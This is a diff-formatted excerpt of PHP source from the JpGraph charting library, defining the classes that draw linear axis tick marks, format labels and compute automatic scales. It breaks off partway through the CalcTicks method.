+
+
+//===================================================
+// CLASS Ticks
+// Description: Abstract base class for drawing linear and logarithmic
+// tick marks on axis
+//===================================================
+class Ticks {
+    public $label_formatstr='';   // C-style format string to use for labels
+    public $label_formfunc='';
+    public $label_dateformatstr='';
+    public $direction=1; // Should ticks be in(=1) the plot area or outside (=-1)
+    public $supress_last=false,$supress_tickmarks=false,$supress_minor_tickmarks=false;
+    public $maj_ticks_pos = array(), $maj_ticklabels_pos = array(), 
+	   $ticks_pos = array(), $maj_ticks_label = array();
+    public $precision;
+
+    protected $minor_abs_size=3, $major_abs_size=5;
+    protected $scale;
+    protected $is_set=false;
+    protected $supress_zerolabel=false,$supress_first=false;
+    protected $mincolor="",$majcolor="";
+    protected $weight=1;
+    protected $label_usedateformat=FALSE;
+
+//---------------
+// CONSTRUCTOR
+    function Ticks($aScale) {
+	$this->scale=$aScale;
+	$this->precision = -1;
+    }
+
+//---------------
+// PUBLIC METHODS	
+    // Set format string for automatic labels
+    function SetLabelFormat($aFormatString,$aDate=FALSE) {
+	$this->label_formatstr=$aFormatString;
+	$this->label_usedateformat=$aDate;
+    }
+	
+    function SetLabelDateFormat($aFormatString) {
+	$this->label_dateformatstr=$aFormatString;
+    }
+	
+    function SetFormatCallback($aCallbackFuncName) {
+	$this->label_formfunc = $aCallbackFuncName;
+    }
+	
+    // Don't display the first zero label
+    function SupressZeroLabel($aFlag=true) {
+	$this->supress_zerolabel=$aFlag;
+    }
+	
+    // Don't display minor tick marks
+    function SupressMinorTickMarks($aHide=true) {
+	$this->supress_minor_tickmarks=$aHide;
+    }
+	
+    // Don't display major tick marks
+    function SupressTickMarks($aHide=true) {
+	$this->supress_tickmarks=$aHide;
+    }
+	
+    // Hide the first tick mark
+    function SupressFirst($aHide=true) {
+	$this->supress_first=$aHide;
+    }
+	
+    // Hide the last tick mark
+    function SupressLast($aHide=true) {
+	$this->supress_last=$aHide;
+    }
+
+    // Size (in pixels) of minor tick marks
+    function GetMinTickAbsSize() {
+	return $this->minor_abs_size;
+    }
+	
+    // Size (in pixels) of major tick marks
+    function GetMajTickAbsSize() {
+	return $this->major_abs_size;		
+    }
+	
+    function SetSize($aMajSize,$aMinSize=3) {
+	$this->major_abs_size = $aMajSize;		
+	$this->minor_abs_size = $aMinSize;		
+    }
+
+    // Have the ticks been specified
+    function IsSpecified() {
+	return $this->is_set;
+    }
+		
+    // Specify number of decimals in automatic labels
+    // Deprecated from 1.4. Use SetFormatString() instead
+    function SetPrecision($aPrecision) { 	
+    	if( ERR_DEPRECATED )
+	    JpGraphError::RaiseL(25063);//('Ticks::SetPrecision() is deprecated. Use Ticks::SetLabelFormat() (or Ticks::SetFormatCallback()) instead');
+	$this->precision=$aPrecision;
+    }
+
+    function SetSide($aSide) {
+	$this->direction=$aSide;
+    }
+	
+    // Which side of the axis should the ticks be on
+    function SetDirection($aSide=SIDE_RIGHT) {
+	$this->direction=$aSide;
+    }
+	
+    // Set colors for major and minor tick marks
+    function SetMarkColor($aMajorColor,$aMinorColor="") {
+	$this->SetColor($aMajorColor,$aMinorColor);
+    }
+    
+    function SetColor($aMajorColor,$aMinorColor="") {
+	$this->majcolor=$aMajorColor;
+		
+	// If not specified use same as major
+	if( $aMinorColor=="" ) 
+	    $this->mincolor=$aMajorColor;
+	else
+	    $this->mincolor=$aMinorColor;
+    }
+	
+    function SetWeight($aWeight) {
+	$this->weight=$aWeight;
+    }
+	
+} // Class
+
+//===================================================
+// CLASS LinearTicks
+// Description: Draw linear ticks on axis
+//===================================================
+class LinearTicks extends Ticks {
+    public $minor_step=1, $major_step=2;
+    public $xlabel_offset=0,$xtick_offset=0;
+    private $label_offset=0; // What offset should the displayed label have
+    // i.e should we display 0,1,2 or 1,2,3,4 or 2,3,4 etc
+    private $text_label_start=0;
+    private $iManualTickPos = NULL, $iManualMinTickPos = NULL, $iManualTickLabels = NULL;
+    private $iAdjustForDST = false; // If a date falls within the DST period add one hour to the diaplyed time
+
+//---------------
+// CONSTRUCTOR
+    function LinearTicks() {
+	$this->precision = -1;
+    }
+
+//---------------
+// PUBLIC METHODS	
+	
+	
+    // Return major step size in world coordinates
+    function GetMajor() {
+	return $this->major_step;
+    }
+	
+    // Return minor step size in world coordinates
+    function GetMinor() {
+	return $this->minor_step;
+    }
+	
+    // Set Minor and Major ticks (in world coordinates)
+    function Set($aMajStep,$aMinStep=false) {
+	if( $aMinStep==false ) 
+	    $aMinStep=$aMajStep;
+    	
+	if( $aMajStep <= 0 || $aMinStep <= 0 ) {
+	    JpGraphError::RaiseL(25064);
+//(" Minor or major step size is 0. Check that you haven't got an accidental SetTextTicks(0) in your code. If this is not the case you might have stumbled upon a bug in JpGraph. Please report this and if possible include the data that caused the problem.");
+	}
+		
+	$this->major_step=$aMajStep;
+	$this->minor_step=$aMinStep;
+	$this->is_set = true;
+    }
+
+    function SetMajTickPositions($aMajPos,$aLabels=NULL) {
+	$this->SetTickPositions($aMajPos,NULL,$aLabels);
+    }
+
+    function SetTickPositions($aMajPos,$aMinPos=NULL,$aLabels=NULL) {
+	if( !is_array($aMajPos) || ($aMinPos!==NULL && !is_array($aMinPos)) ) {
+	    JpGraphError::RaiseL(25065);//('Tick positions must be specifued as an array()');
+	    return;
+	}
+	$n=count($aMajPos);
+	if( is_array($aLabels) && (count($aLabels) != $n) ) {
+	    JpGraphError::RaiseL(25066);//('When manually specifying tick positions and labels the number of labels must be the same as the number of specified ticks.');
+	    return;
+	}
+	$this->iManualTickPos = $aMajPos;
+	$this->iManualMinTickPos = $aMinPos;
+	$this->iManualTickLabels = $aLabels;
+    }
+
+    // Specify all the tick positions manually and possible also the exact labels 
+    function _doManualTickPos($aScale) { 
+	$n=count($this->iManualTickPos);
+	$m=count($this->iManualMinTickPos);
+	$doLbl=count($this->iManualTickLabels) > 0;
+
+	$this->maj_ticks_pos = array();
+	$this->maj_ticklabels_pos = array();
+	$this->ticks_pos = array();
+
+	// Now loop through the supplied positions and translate them to screen coordinates
+	// and store them in the maj_label_positions
+	$minScale = $aScale->scale[0];
+	$maxScale = $aScale->scale[1];
+	$j=0;
+	for($i=0; $i < $n ; ++$i ) {
+	    // First make sure that the first tick is not lower than the lower scale value
+	    if( !isset($this->iManualTickPos[$i])  || 
+		$this->iManualTickPos[$i] < $minScale  || $this->iManualTickPos[$i] > $maxScale) {
+		continue;
+	    }
+
+
+	    $this->maj_ticks_pos[$j] = $aScale->Translate($this->iManualTickPos[$i]);
+	    $this->maj_ticklabels_pos[$j] = $this->maj_ticks_pos[$j];	
+
+	    // Set the minor tick marks the same as major if not specified
+	    if( $m <= 0 ) {
+		$this->ticks_pos[$j] = $this->maj_ticks_pos[$j];
+	    }
+
+	    if( $doLbl ) { 
+		$this->maj_ticks_label[$j] = $this->iManualTickLabels[$i];
+	    }
+	    else {
+		$this->maj_ticks_label[$j]=$this->_doLabelFormat($this->iManualTickPos[$i],$i,$n);
+	    }
+	    ++$j;
+	}
+
+	// Some sanity check
+	if( count($this->maj_ticks_pos) < 2 ) {
+	    JpGraphError::RaiseL(25067);//('Your manually specified scale and ticks is not correct. The scale seems to be too small to hold any of the specified tickl marks.');
+	}
+
+	// Setup the minor tick marks
+	$j=0;
+	for($i=0; $i < $m; ++$i ) {
+	    if(  empty($this->iManualMinTickPos[$i]) || 
+		 $this->iManualMinTickPos[$i] < $minScale  || $this->iManualMinTickPos[$i] > $maxScale) 
+		continue;
+	    $this->ticks_pos[$j] = $aScale->Translate($this->iManualMinTickPos[$i]);
+	    ++$j;
+	}
+    }
+
+    function _doAutoTickPos($aScale) {
+	$maj_step_abs = $aScale->scale_factor*$this->major_step;		
+	$min_step_abs = $aScale->scale_factor*$this->minor_step;		
+
+	if( $min_step_abs==0 || $maj_step_abs==0 ) {
+	    JpGraphError::RaiseL(25068);//("A plot has an illegal scale. This could for example be that you are trying to use text autoscaling to draw a line plot with only one point or that the plot area is too small. It could also be that no input data value is numeric (perhaps only '-' or 'x')");
+	}
+	// We need to make this an int since comparing it below
+	// with the result from round() can give wrong result, such that
+	// (40 < 40) == TRUE !!!
+	$limit = (int)$aScale->scale_abs[1];	
+
+	if( $aScale->textscale ) {
+	    // This can only be true for a X-scale (horizontal)
+	    // Define ticks for a text scale. This is slightly different from a 
+	    // normal linear type of scale since the position might be adjusted
+	    // and the labels start at on
+	    $label = (float)$aScale->GetMinVal()+$this->text_label_start+$this->label_offset;	
+	    $start_abs=$aScale->scale_factor*$this->text_label_start;
+	    $nbrmajticks=round(($aScale->GetMaxVal()-$aScale->GetMinVal()-$this->text_label_start )/$this->major_step)+1;	
+
+	    $x = $aScale->scale_abs[0]+$start_abs+$this->xlabel_offset*$min_step_abs;	
+	    for( $i=0; $label <= $aScale->GetMaxVal()+$this->label_offset; ++$i ) {
+		// Apply format to label
+		$this->maj_ticks_label[$i]=$this->_doLabelFormat($label,$i,$nbrmajticks);
+		$label+=$this->major_step;
+
+		// The x-position of the tick marks can be different from the labels.
+		// Note that we record the tick position (not the label) so that the grid
+		// happen upon tick marks and not labels.
+		$xtick=$aScale->scale_abs[0]+$start_abs+$this->xtick_offset*$min_step_abs+$i*$maj_step_abs;
+		$this->maj_ticks_pos[$i]=$xtick;
+		$this->maj_ticklabels_pos[$i] = round($x);				
+		$x += $maj_step_abs;
+	    }
+	}
+	else {
+	    $label = $aScale->GetMinVal();	
+	    $abs_pos = $aScale->scale_abs[0];
+	    $j=0; $i=0;
+	    $step = round($maj_step_abs/$min_step_abs);
+	    if( $aScale->type == "x" ) {
+		// For a normal linear type of scale the major ticks will always be multiples
+		// of the minor ticks. In order to avoid any rounding issues the major ticks are
+		// defined as every "step" minor ticks and not calculated separately
+		$nbrmajticks=round(($aScale->GetMaxVal()-$aScale->GetMinVal()-$this->text_label_start )/$this->major_step)+1; 
+		while( round($abs_pos) <= $limit ) {
+		    $this->ticks_pos[] = round($abs_pos);
+		    $this->ticks_label[] = $label;
+		    if( $step== 0 || $i % $step == 0 && $j < $nbrmajticks ) {
+			$this->maj_ticks_pos[$j] = round($abs_pos);
+			$this->maj_ticklabels_pos[$j] = round($abs_pos);
+			$this->maj_ticks_label[$j]=$this->_doLabelFormat($label,$j,$nbrmajticks);
+			++$j;
+		    }
+		    ++$i;
+		    $abs_pos += $min_step_abs;
+		    $label+=$this->minor_step;
+		}
+	    }
+	    elseif( $aScale->type == "y" ) {
+		$nbrmajticks=round(($aScale->GetMaxVal()-$aScale->GetMinVal())/$this->major_step)+1;
+		while( round($abs_pos) >= $limit ) {
+		    $this->ticks_pos[$i] = round($abs_pos); 
+		    $this->ticks_label[$i]=$label;
+		    if( $step== 0 || $i % $step == 0 && $j < $nbrmajticks) {
+			$this->maj_ticks_pos[$j] = round($abs_pos);
+			$this->maj_ticklabels_pos[$j] = round($abs_pos);
+			$this->maj_ticks_label[$j]=$this->_doLabelFormat($label,$j,$nbrmajticks);
+			++$j;
+		    }
+		    ++$i;
+		    $abs_pos += $min_step_abs;
+		    $label += $this->minor_step;
+		}	
+	    }
+	}	
+    }
+
+    function AdjustForDST($aFlg=true) {
+	$this->iAdjustForDST = $aFlg;
+    }
+
+
+    function _doLabelFormat($aVal,$aIdx,$aNbrTicks) {
+
+	// If precision hasn't been specified set it to a sensible value
+	if( $this->precision==-1 ) { 
+	    $t = log10($this->minor_step);
+	    if( $t > 0 )
+		$precision = 0;
+	    else
+		$precision = -floor($t);
+	}
+	else
+	    $precision = $this->precision;
+
+	if( $this->label_formfunc != '' ) {
+	    $f=$this->label_formfunc;
+	    $l = call_user_func($f,$aVal);
+	}	
+	elseif( $this->label_formatstr != '' || $this->label_dateformatstr != '' ) {
+	    if( $this->label_usedateformat ) {
+		// Adjust the value to take daylight savings into account
+		if (date("I",$aVal)==1 && $this->iAdjustForDST ) // DST
+		    $aVal+=3600;
+
+		$l = date($this->label_formatstr,$aVal);
+		if( $this->label_formatstr == 'W' ) {
+		    // If we use week formatting then add a single 'w' in front of the
+		    // week number to differentiate it from dates
+		    $l = 'w'.$l;
+		}
+	    }
+	    else {
+		if( $this->label_dateformatstr !== '' ) {
+		    // Adjust the value to take daylight savings into account
+		    if (date("I",$aVal)==1 && $this->iAdjustForDST ) // DST
+			$aVal+=3600;
+
+		    $l = date($this->label_dateformatstr,$aVal);
+		    if( $this->label_formatstr == 'W' ) {
+			// If we use week formatting then add a single 'w' in front of the
+			// week number to differentiate it from dates
+			$l = 'w'.$l;
+		    }
+		}
+		else
+		    $l = sprintf($this->label_formatstr,$aVal);
+	    }
+	}
+	else {
+	    $l = sprintf('%01.'.$precision.'f',round($aVal,$precision));
+	}
+	
+	if( ($this->supress_zerolabel && $l==0) ||  ($this->supress_first && $aIdx==0) ||
+	    ($this->supress_last  && $aIdx==$aNbrTicks-1) ) {
+	    $l='';
+	}
+	return $l;
+    }
+
+    // Stroke ticks on either X or Y axis
+    function _StrokeTicks($aImg,$aScale,$aPos) {
+	$hor = $aScale->type == 'x';
+	$aImg->SetLineWeight($this->weight);
+
+	// We need to make this an int since comparing it below
+	// with the result from round() can give wrong result, such that
+	// (40 < 40) == TRUE !!!	
+	$limit = (int)$aScale->scale_abs[1];
+		
+	// A text scale doesn't have any minor ticks
+	if( !$aScale->textscale ) {
+	    // Stroke minor ticks
+	    $yu = $aPos - $this->direction*$this->GetMinTickAbsSize();
+	    $xr = $aPos + $this->direction*$this->GetMinTickAbsSize();
+	    $n = count($this->ticks_pos);
+	    for($i=0; $i < $n; ++$i ) {
+		if( !$this->supress_tickmarks && !$this->supress_minor_tickmarks) {
+		    if( $this->mincolor!="" ) $aImg->PushColor($this->mincolor);
+		    if( $hor ) {
+			//if( $this->ticks_pos[$i] <= $limit ) 
+			$aImg->Line($this->ticks_pos[$i],$aPos,$this->ticks_pos[$i],$yu); 
+		    }
+		    else {
+			//if( $this->ticks_pos[$i] >= $limit ) 
+			$aImg->Line($aPos,$this->ticks_pos[$i],$xr,$this->ticks_pos[$i]); 
+		    }
+		    if( $this->mincolor!="" ) $aImg->PopColor();
+		}
+	    }
+	}
+
+	// Stroke major ticks
+	$yu = $aPos - $this->direction*$this->GetMajTickAbsSize();
+	$xr = $aPos + $this->direction*$this->GetMajTickAbsSize();
+	$nbrmajticks=round(($aScale->GetMaxVal()-$aScale->GetMinVal()-$this->text_label_start )/$this->major_step)+1;
+	$n = count($this->maj_ticks_pos);
+	for($i=0; $i < $n ; ++$i ) {
+	    if(!($this->xtick_offset > 0 && $i==$nbrmajticks-1) && !$this->supress_tickmarks) {
+		if( $this->majcolor!="" ) $aImg->PushColor($this->majcolor);
+		if( $hor ) {
+		    //if( $this->maj_ticks_pos[$i] <= $limit ) 
+		    $aImg->Line($this->maj_ticks_pos[$i],$aPos,$this->maj_ticks_pos[$i],$yu); 
+		}
+		else {
+		    //if( $this->maj_ticks_pos[$i] >= $limit ) 
+		    $aImg->Line($aPos,$this->maj_ticks_pos[$i],$xr,$this->maj_ticks_pos[$i]); 
+		}
+		if( $this->majcolor!="" ) $aImg->PopColor();
+	    }
+	}
+	
+    }
+
+    // Draw linear ticks
+    function Stroke($aImg,$aScale,$aPos) {
+	if( $this->iManualTickPos != NULL ) 
+	    $this->_doManualTickPos($aScale);
+	else 
+	    $this->_doAutoTickPos($aScale);
+	$this->_StrokeTicks($aImg,$aScale,$aPos, $aScale->type == 'x' );
+    }
+
+//---------------
+// PRIVATE METHODS
+    // Spoecify the offset of the displayed tick mark with the tick "space"
+    // Legal values for $o is [0,1] used to adjust where the tick marks and label 
+    // should be positioned within the major tick-size
+    // $lo specifies the label offset and $to specifies the tick offset
+    // this comes in handy for example in bar graphs where we wont no offset for the
+    // tick but have the labels displayed halfway under the bars.
+    function SetXLabelOffset($aLabelOff,$aTickOff=-1) {
+	$this->xlabel_offset=$aLabelOff;
+	if( $aTickOff==-1 )	// Same as label offset
+	    $this->xtick_offset=$aLabelOff;
+	else
+	    $this->xtick_offset=$aTickOff;
+	if( $aLabelOff>0 )
+	    $this->SupressLast();	// The last tick wont fit
+    }
+
+    // Which tick label should we start with?
+    function SetTextLabelStart($aTextLabelOff) {
+	$this->text_label_start=$aTextLabelOff;
+    }
+	
+} // Class
+
+//===================================================
+// CLASS LinearScale
+// Description: Handle linear scaling between screen and world 
+//===================================================
+class LinearScale {
+    public $textscale=false; // Just a flag to let the Plot class find out if
+    // we are a textscale or not. This is a cludge since
+    // this information is available in Graph::axtype but
+    // we don't have access to the graph object in the Plots
+    // stroke method. So we let graph store the status here
+    // when the linear scale is created. A real cludge...
+    public $type; // is this x or y scale ?
+    public $ticks=null; // Store ticks
+    public $text_scale_off = 0;
+    public $scale_abs=array(0,0);
+    public $scale_factor; // Scale factor between world and screen
+    public $off; // Offset between image edge and plot area
+    public $scale=array(0,0);
+    public $name = 'lin';
+    public $auto_ticks=false; // When using manual scale should the ticks be automatically set?
+    public $world_abs_size; // Plot area size in pixels (Needed public in jpgraph_radar.php)
+    public $world_size;	// Plot area size in world coordinates
+    public $intscale=false; // Restrict autoscale to integers
+    protected $autoscale_min=false; // Forced minimum value, auto determine max
+    protected $autoscale_max=false; // Forced maximum value, auto determine min
+    private $gracetop=0,$gracebottom=0;
+//---------------
+// CONSTRUCTOR
+    function LinearScale($aMin=0,$aMax=0,$aType="y") {
+	assert($aType=="x" || $aType=="y" );
+	assert($aMin<=$aMax);
+		
+	$this->type=$aType;
+	$this->scale=array($aMin,$aMax);		
+	$this->world_size=$aMax-$aMin;	
+	$this->ticks = new LinearTicks();
+    }
+
+//---------------
+// PUBLIC METHODS	
+    // Check if scale is set or if we should autoscale
+    // We should do this is either scale or ticks has not been set
+    function IsSpecified() {
+	if( $this->GetMinVal()==$this->GetMaxVal() ) {		// Scale not set
+	    return false;
+	}
+	return true;
+    }
+	
+    // Set the minimum data value when the autoscaling is used. 
+    // Usefull if you want a fix minimum (like 0) but have an
+    // automatic maximum
+    function SetAutoMin($aMin) {
+	$this->autoscale_min=$aMin;
+    }
+
+    // Set the minimum data value when the autoscaling is used. 
+    // Usefull if you want a fix minimum (like 0) but have an
+    // automatic maximum
+    function SetAutoMax($aMax) {
+	$this->autoscale_max=$aMax;
+    }
+
+    // If the user manually specifies a scale should the ticks
+    // still be set automatically?
+    function SetAutoTicks($aFlag=true) {
+	$this->auto_ticks = $aFlag;
+    }
+
+    // Specify scale "grace" value (top and bottom)
+    function SetGrace($aGraceTop,$aGraceBottom=0) {
+	if( $aGraceTop<0 || $aGraceBottom < 0  )
+	    JpGraphError::RaiseL(25069);//(" Grace must be larger then 0");
+	$this->gracetop=$aGraceTop;
+	$this->gracebottom=$aGraceBottom;
+    }
+	
+    // Get the minimum value in the scale
+    function GetMinVal() {
+	return $this->scale[0];
+    }
+	
+    // get maximum value for scale
+    function GetMaxVal() {
+	return $this->scale[1];
+    }
+		
+    // Specify a new min/max value for sclae	
+    function Update($aImg,$aMin,$aMax) {
+	$this->scale=array($aMin,$aMax);		
+	$this->world_size=$aMax-$aMin;		
+	$this->InitConstants($aImg);					
+    }
+	
+    // Translate between world and screen
+    function Translate($aCoord) {
+	if( !is_numeric($aCoord) ) {
+	    if( $aCoord != '' && $aCoord != '-' && $aCoord != 'x' ) 
+		JpGraphError::RaiseL(25070);//('Your data contains non-numeric values.');
+	    return 0;
+	}
+	else {
+	    return $this->off+($aCoord - $this->scale[0]) * $this->scale_factor; 
+	}
+    }
+	
+    // Relative translate (don't include offset) usefull when we just want
+    // to know the relative position (in pixels) on the axis
+    function RelTranslate($aCoord) {
+	if( !is_numeric($aCoord) ) {
+	    if( $aCoord != '' && $aCoord != '-' && $aCoord != 'x'  ) 
+		JpGraphError::RaiseL(25070);//('Your data contains non-numeric values.');
+	    return 0;
+	}
+	else { 
+	    return ($aCoord - $this->scale[0]) * $this->scale_factor; 
+	}
+    }
+	
+    // Restrict autoscaling to only use integers
+    function SetIntScale($aIntScale=true) {
+	$this->intscale=$aIntScale;
+    }
+	
+    // Calculate an integer autoscale
+    function IntAutoScale($img,$min,$max,$maxsteps,$majend=true) {
+	// Make sure limits are integers
+	$min=floor($min);
+	$max=ceil($max);
+	if( abs($min-$max)==0 ) {
+	    --$min; ++$max;
+	}
+	$maxsteps = floor($maxsteps);
+		
+	$gracetop=round(($this->gracetop/100.0)*abs($max-$min));
+	$gracebottom=round(($this->gracebottom/100.0)*abs($max-$min));
+	if( is_numeric($this->autoscale_min) ) {
+	    $min = ceil($this->autoscale_min);
+	    if( $min >= $max ) {
+		JpGraphError::RaiseL(25071);//('You have specified a min value with SetAutoMin() which is larger than the maximum value used for the scale. This is not possible.');
+	    }
+	}
+
+	if( is_numeric($this->autoscale_max) ) {
+	    $max = ceil($this->autoscale_max);
+	    if( $min >= $max ) {
+		JpGraphError::RaiseL(25072);//('You have specified a max value with SetAutoMax() which is smaller than the miminum value used for the scale. This is not possible.');
+	    }
+	}
+
+	if( abs($min-$max ) == 0 ) {
+	    ++$max;
+	    --$min;
+	}
+			
+	$min -= $gracebottom;
+	$max += $gracetop;		
+
+	// First get tickmarks as multiples of 1, 10, ...	
+	if( $majend ) {
+	    list($num1steps,$adj1min,$adj1max,$maj1step) = 
+		$this->IntCalcTicks($maxsteps,$min,$max,1);
+	}
+	else {
+	    $adj1min = $min;
+	    $adj1max = $max;
+	    list($num1steps,$maj1step) = 
+		$this->IntCalcTicksFreeze($maxsteps,$min,$max,1);
+	}
+
+	if( abs($min-$max) > 2 ) {
+	    // Then get tick marks as 2:s 2, 20, ...
+	    if( $majend ) {
+		list($num2steps,$adj2min,$adj2max,$maj2step) = 
+		    $this->IntCalcTicks($maxsteps,$min,$max,5);
+	    }
+	    else {
+		$adj2min = $min;
+		$adj2max = $max;
+		list($num2steps,$maj2step) = 
+		    $this->IntCalcTicksFreeze($maxsteps,$min,$max,5);
+	    }
+	}
+	else {
+	    $num2steps = 10000;	// Dummy high value so we don't choose this
+	}
+	
+	if( abs($min-$max) > 5 ) {	
+	    // Then get tickmarks as 5:s 5, 50, 500, ...
+	    if( $majend ) {
+		list($num5steps,$adj5min,$adj5max,$maj5step) = 
+		    $this->IntCalcTicks($maxsteps,$min,$max,2);
+	    }
+	    else {
+		$adj5min = $min;
+		$adj5max = $max;
+		list($num5steps,$maj5step) = 
+		    $this->IntCalcTicksFreeze($maxsteps,$min,$max,2);
+	    }
+	}
+	else {
+	    $num5steps = 10000;	// Dummy high value so we don't choose this		
+	}
+	
+	// Check to see whichof 1:s, 2:s or 5:s fit better with
+	// the requested number of major ticks		
+	$match1=abs($num1steps-$maxsteps);		
+	$match2=abs($num2steps-$maxsteps);
+	if( !empty($maj5step) && $maj5step > 1 )
+	    $match5=abs($num5steps-$maxsteps);
+	else
+	    $match5=10000; 	// Dummy high value 
+		
+	// Compare these three values and see which is the closest match
+	// We use a 0.6 weight to gravitate towards multiple of 5:s 
+	if( $match1 < $match2 ) {
+	    if( $match1 < $match5 )
+		$r=1;			
+	    else 
+		$r=3;
+	}
+	else {
+	    if( $match2 < $match5 )
+		$r=2;			
+	    else 
+		$r=3;		
+	}	
+	// Minsteps are always the same as maxsteps for integer scale
+	switch( $r ) {
+	    case 1:
+		$this->ticks->Set($maj1step,$maj1step);
+		$this->Update($img,$adj1min,$adj1max);
+		break;			
+	    case 2:
+		$this->ticks->Set($maj2step,$maj2step);
+		$this->Update($img,$adj2min,$adj2max);		
+		break;									
+	    case 3:
+		$this->ticks->Set($maj5step,$maj5step);		
+		$this->Update($img,$adj5min,$adj5max);
+		break;			
+	    default:
+		JpGraphError::RaiseL(25073,$r);//('Internal error. Integer scale algorithm comparison out of bound (r=$r)');
+	}		
+    }
+	
+	
+    // Calculate autoscale. Used if user hasn't given a scale and ticks
+    // $maxsteps is the maximum number of major tickmarks allowed.
+    function AutoScale($img,$min,$max,$maxsteps,$majend=true) {
+	if( $this->intscale ) {	
+	    $this->IntAutoScale($img,$min,$max,$maxsteps,$majend);
+	    return;
+	}
+	if( abs($min-$max) < 0.00001 ) {
+	    // We need some difference to be able to autoscale
+	    // make it 5% above and 5% below value
+	    if( $min==0 && $max==0 ) {		// Special case
+		$min=-1; $max=1;
+	    }
+	    else {
+		$delta = (abs($max)+abs($min))*0.005;
+		$min -= $delta;
+		$max += $delta;
+	    }
+	}
+		
+	$gracetop=($this->gracetop/100.0)*abs($max-$min);
+	$gracebottom=($this->gracebottom/100.0)*abs($max-$min);
+	if( is_numeric($this->autoscale_min) ) {
+	    $min = $this->autoscale_min;
+	    if( $min >= $max ) {
+		JpGraphError::RaiseL(25071);//('You have specified a min value with SetAutoMin() which is larger than the maximum value used for the scale. This is not possible.');
+	    }
+	    if( abs($min-$max ) < 0.00001 )
+		$max *= 1.2;
+	}
+
+	if( is_numeric($this->autoscale_max) ) {
+	    $max = $this->autoscale_max;
+	    if( $min >= $max ) {
+		JpGraphError::RaiseL(25072);//('You have specified a max value with SetAutoMax() which is smaller than the miminum value used for the scale. This is not possible.');
+	    }
+	    if( abs($min-$max ) < 0.00001 )
+		$min *= 0.8;
+	}
+
+	$min -= $gracebottom;
+	$max += $gracetop;
+
+
+	// First get tickmarks as multiples of 0.1, 1, 10, ...	
+	if( $majend ) {
+	    list($num1steps,$adj1min,$adj1max,$min1step,$maj1step) = 
+		$this->CalcTicks($maxsteps,$min,$max,1,2);
+	}
+	else {
+	    $adj1min=$min;
+	    $adj1max=$max;
+	    list($num1steps,$min1step,$maj1step) = 
+		$this->CalcTicksFreeze($maxsteps,$min,$max,1,2,false);
+	}
+		
+	// Then get tick marks as 2:s 0.2, 2, 20, ...
+	if( $majend ) {
+	    list($num2steps,$adj2min,$adj2max,$min2step,$maj2step) = 
+		$this->CalcTicks($maxsteps,$min,$max,5,2);
+	}
+	else {
+	    $adj2min=$min;
+	    $adj2max=$max;
+	    list($num2steps,$min2step,$maj2step) = 
+		$this->CalcTicksFreeze($maxsteps,$min,$max,5,2,false);
+	}
+		
+	// Then get tickmarks as 5:s 0.05, 0.5, 5, 50, ...
+	if( $majend ) {
+	    list($num5steps,$adj5min,$adj5max,$min5step,$maj5step) = 
+		$this->CalcTicks($maxsteps,$min,$max,2,5);		
+	}
+	else {
+	    $adj5min=$min;
+	    $adj5max=$max;
+	    list($num5steps,$min5step,$maj5step) = 
+		$this->CalcTicksFreeze($maxsteps,$min,$max,2,5,false);
+	}
+
+	// Check to see whichof 1:s, 2:s or 5:s fit better with
+	// the requested number of major ticks		
+	$match1=abs($num1steps-$maxsteps);		
+	$match2=abs($num2steps-$maxsteps);
+	$match5=abs($num5steps-$maxsteps);
+	// Compare these three values and see which is the closest match
+	// We use a 0.8 weight to gravitate towards multiple of 5:s 
+	$r=$this->MatchMin3($match1,$match2,$match5,0.8);
+	switch( $r ) {
+	    case 1:
+		$this->Update($img,$adj1min,$adj1max);
+		$this->ticks->Set($maj1step,$min1step);
+		break;			
+	    case 2:
+		$this->Update($img,$adj2min,$adj2max);		
+		$this->ticks->Set($maj2step,$min2step);
+		break;									
+	    case 3:
+		$this->Update($img,$adj5min,$adj5max);
+		$this->ticks->Set($maj5step,$min5step);		
+		break;			
+	}
+    }
+
+//---------------
+// PRIVATE METHODS	
+
+    // This method recalculates all constants that are depending on the
+    // margins in the image. If the margins in the image are changed
+    // this method should be called for every scale that is registred with
+    // that image. Should really be installed as an observer of that image.
+    function InitConstants($img) {
+	if( $this->type=="x" ) {
+	    $this->world_abs_size=$img->width - $img->left_margin - $img->right_margin;
+	    $this->off=$img->left_margin;
+	    $this->scale_factor = 0;
+	    if( $this->world_size > 0 )
+		$this->scale_factor=$this->world_abs_size/($this->world_size*1.0);
+	}
+	else { // y scale
+	    $this->world_abs_size=$img->height - $img->top_margin - $img->bottom_margin; 
+	    $this->off=$img->top_margin+$this->world_abs_size;			
+	    $this->scale_factor = 0;			
+	    if( $this->world_size > 0 )			
+		$this->scale_factor=-$this->world_abs_size/($this->world_size*1.0);	
+	}
+	$size = $this->world_size * $this->scale_factor;
+	$this->scale_abs=array($this->off,$this->off + $size);	
+    }
+	
+    // Initialize the conversion constants for this scale
+    // This tries to pre-calculate as much as possible to speed up the
+    // actual conversion (with Translate()) later on
+    // $start	=scale start in absolute pixels (for x-scale this is an y-position
+    //				 and for an y-scale this is an x-position
+    // $len 		=absolute length in pixels of scale 			
+    function SetConstants($aStart,$aLen) {
+	$this->world_abs_size=$aLen;
+	$this->off=$aStart;
+		
+	if( $this->world_size<=0 ) {
+	    // This should never ever happen !!
+	    JpGraphError::RaiseL(25074);
+//("You have unfortunately stumbled upon a bug in JpGraph. It seems like the scale range is ".$this->world_size." [for ".$this->type." scale] <br> Please report Bug #01 to jpgraph@aditus.nu and include the script that gave this error. This problem could potentially be caused by trying to use \"illegal\" values in the input data arrays (like trying to send in strings or only NULL values) which causes the autoscaling to fail.");
+
+	}
+		
+	// scale_factor = number of pixels per world unit
+	$this->scale_factor=$this->world_abs_size/($this->world_size*1.0);
+		
+	// scale_abs = start and end points of scale in absolute pixels
+	$this->scale_abs=array($this->off,$this->off+$this->world_size*$this->scale_factor);		
+    }
+	
+	
+    // Calculate number of ticks steps with a specific division
+    // $a is the divisor of 10**x to generate the first maj tick intervall
+    // $a=1, $b=2 give major ticks with multiple of 10, ...,0.1,1,10,...
+    // $a=5, $b=2 give major ticks with multiple of 2:s ...,0.2,2,20,...
+    // $a=2, $b=5 give major ticks with multiple of 5:s ...,0.5,5,50,...
+    // We return a vector of
+    // 	[$numsteps,$adjmin,$adjmax,$minstep,$majstep]
+    // If $majend==true then the first and last marks on the axis will be major
+    // labeled tick marks otherwise it will be adjusted to the closest min tick mark
+    function CalcTicks($maxsteps,$min,$max,$a,$b,$majend=true) {
+	$diff=$max-$min; 
+	if( $diff==0 )
+	    $ld=0;
+	else
+	    $ld=floor(log10($diff));
+
+	// Gravitate min towards zero if we are close		
